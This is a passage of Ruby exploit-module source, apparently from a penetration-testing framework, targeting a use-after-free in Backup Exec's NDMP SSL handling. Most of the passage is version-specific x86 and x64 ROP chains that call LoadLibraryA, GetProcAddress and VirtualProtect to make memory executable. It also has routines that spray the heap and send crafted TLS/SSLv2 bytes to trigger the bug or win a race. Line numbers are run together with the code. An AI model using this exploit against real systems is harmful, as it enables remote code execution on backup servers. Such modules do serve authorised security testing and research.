ret8850xbeaedb0, # mov rbp, rax; call rdi8860xbe5851a, # mov rcx, rbx; call r128870xbe01f72, # pop rax; ret8880,8890xbe610f0, # add rax, rcx; ret8900xbe9c70c, # mov rcx, rax; call r128910xbefe516, # mov rdx, rcx; call r128920xbe9bf28, # mov rcx, rbp; call r128930xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]8940xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret8950,8960,8970,8980,8990xbe433b9, # push rax; pop rsi; ret9000xbe5851a, # mov rcx, rbx; call r129010xbe45a01, # pop r13; ret9020,9030xbe2e55e, # mov rdx, r13; call r129040xbe27c76, # pop r8; ret9050x40, # PAGE_EXECUTE_READWRITE9060xbe3caf0, # test rdx, rdx; setne al; ret9070xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret9080xbe01c2c, # ret9090xbe56cad, # jmp rsi9100xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret9110,9120,9130,9140,9150xbe12ed0, # pop rdi; ret9160xbe45a01, # pop r13; ret9170xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi918]919stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length920stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length921stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"922end923else924if target.opts['Version'] == 14925stage_3 = [9260x63117dfa, # pop edi; ret9270x63101514, # ret9280x63116cc9, # pop esi; ret9290x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]9300x631017ff, # pop ebp; ret9310x631213e6, # add esp, 0x20; ret9320x63137a3c, # pushal; ret933'KERN'.unpack('L<')[0],934'EL32'.unpack('L<')[0],935'.dll'.unpack('L<')[0],9360,9370x63117dfa, # pop edi; ret9380x6311de4c, # pop edi; pop ebp; ret9390x6311b614, # push eax; call edi9400x63117dfa, # pop edi; ret9410x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]9420x63116cc9, # pop esi; ret9430x631213e6, # add esp, 0x20; ret9440x63137a3c, # pushal; ret945'Virt'.unpack('L<')[0],946'ualP'.unpack('L<')[0],947'rote'.unpack('L<')[0],948"ct\0\0".unpack('L<')[0],9490x6314de45, # xchg eax, edi; ret9500x6311db46, # push esp; pop esi; ret9510x6311a398, # xchg eax, esi; ret9520x63116cc9, # pop esi; ret9530x6311f902, # pop ebx; pop ecx; ret9540x63123d89, # push eax; call esi9550x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret9560x63101514, # ret9570,9580x631309f4, # pop edx; or al, 0xf6; ret9590x40, # PAGE_EXECUTE_READWRITE9600x63117dfa, # pop edi; ret9610x63101514, # ret9620x6310185a, # pop eax; ret9630x63139ec5, # push esp; ret9640x63137a3c # pushal; ret965]966stage_3[31] = stage_4.length + 4967elsif target.opts['Version'] == 15968stage_3 = [9690x6311e378, # pop edi; ret9700x63101564, # ret9710x631289b9, # pop esi; ret9720x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]9730x6310184f, # pop ebp; ret9740x6313937d, # add esp, 0x20; ret9750x6311c618, # pushal; ret976'KERN'.unpack('L<')[0],977'EL32'.unpack('L<')[0],978'.dll'.unpack('L<')[0],9790,9800x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret9810x6311e378, # pop edi; ret9820x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]9830x631289b9, # pop esi; ret9840x6313937d, # add esp, 0x20; ret9850x6311c618, # pushal; ret986'Virt'.unpack('L<')[0],987'ualP'.unpack('L<')[0],988'rote'.unpack('L<')[0],989"ct\0\0".unpack('L<')[0],9900x631289b9, # pop esi; ret9910x631018aa, # pop eax; ret9920x63198446, # mov edi, eax; call esi9930x63137496, # push esp; pop esi; ret9940x6312c068, # xchg eax, esi; ret9950x631289b9, # pop esi; ret9960x6315c407, # pop ebx; pop ecx; ret9970x63189809, # push eax; call esi9980x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret9990x63101564, # ret10000,10010x63156a54, # pop edx; or al, 0xf6; ret10020x40, # PAGE_EXECUTE_READWRITE10030x6311e378, # pop edi; ret10040x63101564, # ret10050x631018aa, # pop eax; ret10060x6311c638, # push esp; ret10070x6311c618 # pushal; ret1008]1009stage_3[31] = stage_4.length + 41010elsif target.opts['Version'] == 161011stage_3 = [10120x6311e3c0, # pop edi; ret10130x63101564, # ret10140x63128a39, # pop esi; ret10150x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]10160x6310184f, # pop ebp; ret10170x631394ad, # add esp, 0x20; ret10180x6311c69c, # pushal; ret1019'KERN'.unpack('L<')[0],1020'EL32'.unpack('L<')[0],1021'.dll'.unpack('L<')[0],10220,10230x6311e3c0, # pop edi; ret10240x631018aa, # pop eax; ret10250x6319959f, # mov ebp, eax; call edi10260x6311e3c0, # pop edi; ret10270x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]10280x63128a39, # pop esi; ret10290x631394ad, # add esp, 0x20; ret10300x6311c69c, # pushal; ret1031'Virt'.unpack('L<')[0],1032'ualP'.unpack('L<')[0],1033'rote'.unpack('L<')[0],1034"ct\0\0".unpack('L<')[0],10350x63128a39, # pop esi; ret10360x631018aa, # pop eax; ret10370x631993e6, # mov edi, eax; call esi10380x631375e6, # push esp; pop esi; ret10390x6312c0e8, # xchg eax, esi; ret10400x63128a39, # pop esi; ret10410x63133031, # pop ebx; pop ecx; ret10420x6314a34a, # push eax; call esi10430x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret10440x63101564, # ret10450,10460x63157084, # pop edx; or al, 0xf6; ret10470x40, # PAGE_EXECUTE_READWRITE10480x6311e3c0, # pop edi; ret10490x63101564, # ret10500x631018aa, # pop eax; ret10510x63134eb6, # push esp; ret10520x6311c69c # pushal; ret1053]1054stage_3[33] = stage_4.length + 41055end1056stage_3 = stage_3.pack('L<*') + stage_41057end10581059if target.opts['Arch'] == ARCH_X641060if target.opts['Version'] == 141061stage_2 = [10620xbe40d1d, # pop r12; pop rsi; ret10630xbe1bca3, # pop r12; pop rbx; ret10640xbe399d0, # pop r13; ret10650xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r1210660xbe501a7, # mov rcx, rbx; call rsi10670xbe01f72, # pop rax; ret10680,10690xbe3d250, # add rax, rcx; ret10700xbe37f75, # push rax; pop rdi; ret10710xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret10720xbe24263, # mov rax, qword ptr [rax + 8]; ret10730xbe1b055, # pop rbx; ret10740xfffffffffffff000,10750xbe501a7, # mov rcx, rbx; call rsi10760xbe3d250, # add rax, rcx; ret10770xbe1c2f9, # pop r12; ret10780xbe2ab32, # pop r8; ret10790xbe2987c, # mov rcx, rax; call r1210800xbe1b055, # pop rbx; ret10810xbe2ab32, # pop r8; ret10820xbe45935, # mov rdx, rdi; call rbx10830xbe01a29, # ret10840xbe2ab32, # pop r8; ret10850,10860xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]10870xbe2987c, # mov rcx, rax; call r1210880xbe1cfc0 # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)1089]1090elsif target.opts['Version'] == 151091stage_2 = [10920xbe1e18e, # pop r12; pop rdi; ret10930xbebd50e, # pop r13; ret10940xbebc3fd, # pop r14; pop rbp; ret10950xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi10960xbe9ad68, # mov rcx, rbp; call r1210970xbe087c8, # pop rax; ret10980,10990xbe60dc0, # add rax, rcx; ret11000xbe43269, # push rax; pop rsi; ret11010xbebd24c, # mov rax, qword ptr gs:[0x30]; ret11020xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret11030xbe1d923, # pop r12; pop rbx; ret11040xfffffffffffff000,11050xbe27c76, # pop r8; ret11060xbe45511, # mov rcx, r12; call rbx11070xbe60dc0, # add rax, rcx; ret11080xbe1df29, # pop r12; ret11090xbe27c76, # pop r8; ret11100xbe9b54c, # mov rcx, rax; call r1211110xbe01f72, # pop rax; ret11120xbe27c76, # pop r8; ret11130xbe4164c, # mov rdx, rsi; call rax11140xbeae99d, # pop r8; ret11150,11160xbebda22, # jmp qword ptr [MSVCR100!memcpy]11170xbe9b627, # mov rcx, rax; call r1211180xbeeb621 # push rcx; pop rsp; ret1119]1120elsif target.opts['Version'] == 161121stage_2 = [11220xbe1e18e, # pop r12; pop rdi; ret11230xbe45a01, # pop r13; ret11240xbe2a433, # pop r14; pop rbp; ret11250xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi11260xbe9bf28, # mov rcx, rbp; call r1211270xbe01f72, # pop rax; ret11280,11290xbe610f0, # add rax, rcx; ret11300xbe433b9, # push rax; pop rsi; ret11310xbebe74c, # mov rax, qword ptr gs:[0x30]; ret11320xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret11330xbe1d923, # pop r12; pop rbx; ret11340xfffffffffffff000,11350xbe27c76, # pop r8; ret11360xbe45681, # mov rcx, r12; call rbx11370xbe610f0, # add rax, rcx; ret11380xbe1df29, # pop r12; ret11390xbe27c76, # pop r8; ret11400xbe9c70c, # mov rcx, rax; call r1211410xbe01f72, # pop rax; ret11420xbe27c76, # pop r8; ret11430xbe4179c, # mov rdx, rsi; call rax11440xbe27c76, # pop r8; ret11450,11460xbebef22, # jmp qword ptr [MSVCR100!memcpy]11470xbe9c70c, # mov rcx, rax; call r1211480xbeed611 # push rcx; pop rsp; ret1149]1150end1151stage_2[6] = (stage_2.length - 4) * 81152stage_2[23] = stage_3.length1153stage_2 = stage_2.pack('Q<*') + stage_31154else1155if target.opts['Version'] == 141156stage_2 = [11570x63143720, # mov eax, dword ptr fs:[0x18]; ret11580x6311efa4, # mov eax, dword ptr [eax + 4]; ret11590x63129b75, # pop edi; pop ecx; ret11600xfffffff0,11610x100000000 - 0x2000,11620x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret11630x63129b75, # pop edi; pop ecx; ret11640x6310185a, # pop eax; ret11650,11660,11670,11680x63133912, # add eax, ecx; ret11690x63152ded, # mov ebx, eax; call esi11700x631309f4, # pop edx; or al, 0xf6; ret11710x6314cfa1, # xchg eax, esp; ret11720x6311db46, # push esp; pop esi; ret11730x6310185a, # pop eax; ret11740x6310185a, # pop eax; ret11750x631171d2, # mov ecx, esi; call eax11760x6310185a, # pop eax; ret11770,11780x63133912, # add eax, ecx; ret11790x631257f4, # push ebx; call edi11800x631546eb, # pop edi; ret11810x631543cb, # pop ebp; pop esi; pop edi; ret11820x63116faf, # pop ebx; ret11830x63143aec, # jmp dword ptr [MSVCR100!memcpy]11840x6315dde0, # cld; ret11850x63137a3c, # pushal; ret118601187]1188stage_2[20] = (stage_2.length - 16) * 41189stage_2[29] = stage_3.length1190elsif target.opts['Version'] == 151191stage_2 = [11920x631a6220, # mov eax, dword ptr fs:[0x18]; ret11930x6312e404, # mov eax, dword ptr [eax + 4]; ret11940x6313031d, # pop ebp; pop ecx; ret11950x100000000 - 0x2000,11960xfffffff0,11970x6316c73a, # and eax, ecx; pop esi; ret11980x6315c407, # pop ebx; pop ecx; ret11990x63192b17, # add eax, ebp; ret12000x63189809, # push eax; call esi12010x63156a54, # pop edx; or al, 0xf6; ret12020x6312c933, # xchg eax, esp; ret12030x63137496, # push esp; pop esi; ret12040x6314172a, # pop eax; ret12050,12060x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret12070x63156dd8, # pop edi; pop ebp; pop esi; ret12080,12090,12100x631729cd, # pop ebx; ret12110x631a65ec, # jmp dword ptr [MSVCR100!memcpy]12120x6311e250, # cld; ret12130x6311c618, # pushal; ret121401215]1216stage_2[13] = (stage_2.length - 12) * 41217stage_2[22] = stage_3.length1218elsif target.opts['Version'] == 161219stage_2 = [12200x631a7200, # mov eax, dword ptr fs:[0x18]; ret12210x6312e4a4, # mov eax, dword ptr [eax + 4]; ret12220x63128afc, # pop ecx; ret12230xfffffff0,12240x6316d13a, # and eax, ecx; pop esi; ret12250x63133031, # pop ebx; pop ecx; ret12260x63128afc, # pop ecx; ret12270x100000000 - 0x2000,12280x63142860, # add eax, ecx; ret12290x6314a34a, # push eax; call esi12300x63157084, # pop edx; or al, 0xf6; ret12310x6311c6c0, # xchg eax, esp; ret12320x631375e6, # push esp; pop esi; ret12330x631018aa, # pop eax; ret12340,12350x63135f56, # add eax, esi; add eax, ecx; pop esi; ret12360,12370x63157408, # pop edi; pop ebp; pop esi; ret12380x63157408, # pop edi; pop ebp; pop esi; ret12390,12400,12410x63181046, # sub eax, ecx; pop ebx; ret12420x631a75cc, # jmp dword ptr [MSVCR100!memcpy]12430x6311e298, # cld; ret12440x6311c69c, # pushal; ret124501246]1247stage_2[14] = (stage_2.length - 13) * 41248stage_2[25] = stage_3.length1249end1250stage_2 = stage_2.pack('L<*') + stage_31251end12521253stage_2 + rand_text(stage_2.length & 1)1254end12551256#1257# Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.1258#1259def attempt_triggers(s, spray_socks, spray_msg)1260datastore['NumTriggerAttempts'].times do |x|1261print_status('Spraying stage 1...')1262(1..2).each do |phase|1263spray_socks.each do |ss|1264if phase == 11265return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)1266return true if @payload_connected || session_created?1267else126850.times do1269return false unless ss.read_ndmp_msg(spray_msg.header.type)1270return true if @payload_connected || session_created?1271end1272end1273end1274end1275sleep(1)1276return true if @payload_connected || session_created?12771278# Send a certain amount of data per trigger attempt so that stage 1 will always end1279# up jumping into the TLS/SSLv2 record at an expected location. The general idea is1280# that the first write will complete Backup Exec's first recv operation, the second1281# fills the buffer back up to an 8/4-byte aligned position, and the rest moves1282# through the retsled1283print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")1284trigger = if target.opts['Version'] == 141285if x == 01286# A maximum of 5 bytes are always read at first, so just send them all at once1287"\x16\x03\x01\x10\x00"1288elsif x == 11289# Skip over TLS header structure1290rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)1291else1292# Skip over a ROP NOP1293rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)1294end1295else1296if x == 01297# A maximum of 11 bytes are always read at first, so just send them all at once1298"\x90\x00\x01\x03\x03" + rand_text(11 - 5)1299elsif x == 11300# Skip over SSLv2 header structure1301rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)1302else1303# Skip over a ROP NOP1304rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)1305end1306end1307return false unless s.raw_sendall(trigger, 0)1308sleep(1)1309return true if @payload_connected || session_created?1310end13111312nil1313end13141315#1316# Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the1317# use-after-free in a race.1318#1319# For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.1320# This is because these versions of Windows overwrite the start of freed objects on the1321# heap with the next offset in the freelist. We need to then overwrite this with our1322# stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO1323# struct's read callback upon re-entering SSL mode. This is less successful than the1324# Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it1325# still works OK.1326#1327def attempt_race(s, spray_socks, spray_msg, ca_cert_id)1328print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')1329do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|1330unless is_pre1331200.times do1332spray_socks.each do |ss|1333ss.prepare_and_write_ndmp_msg(spray_msg, 200)1334return true if @payload_connected || session_created?1335end1336end1337end1338end1339sleep(1)13401341@payload_connected || session_created?1342end1343end134413451346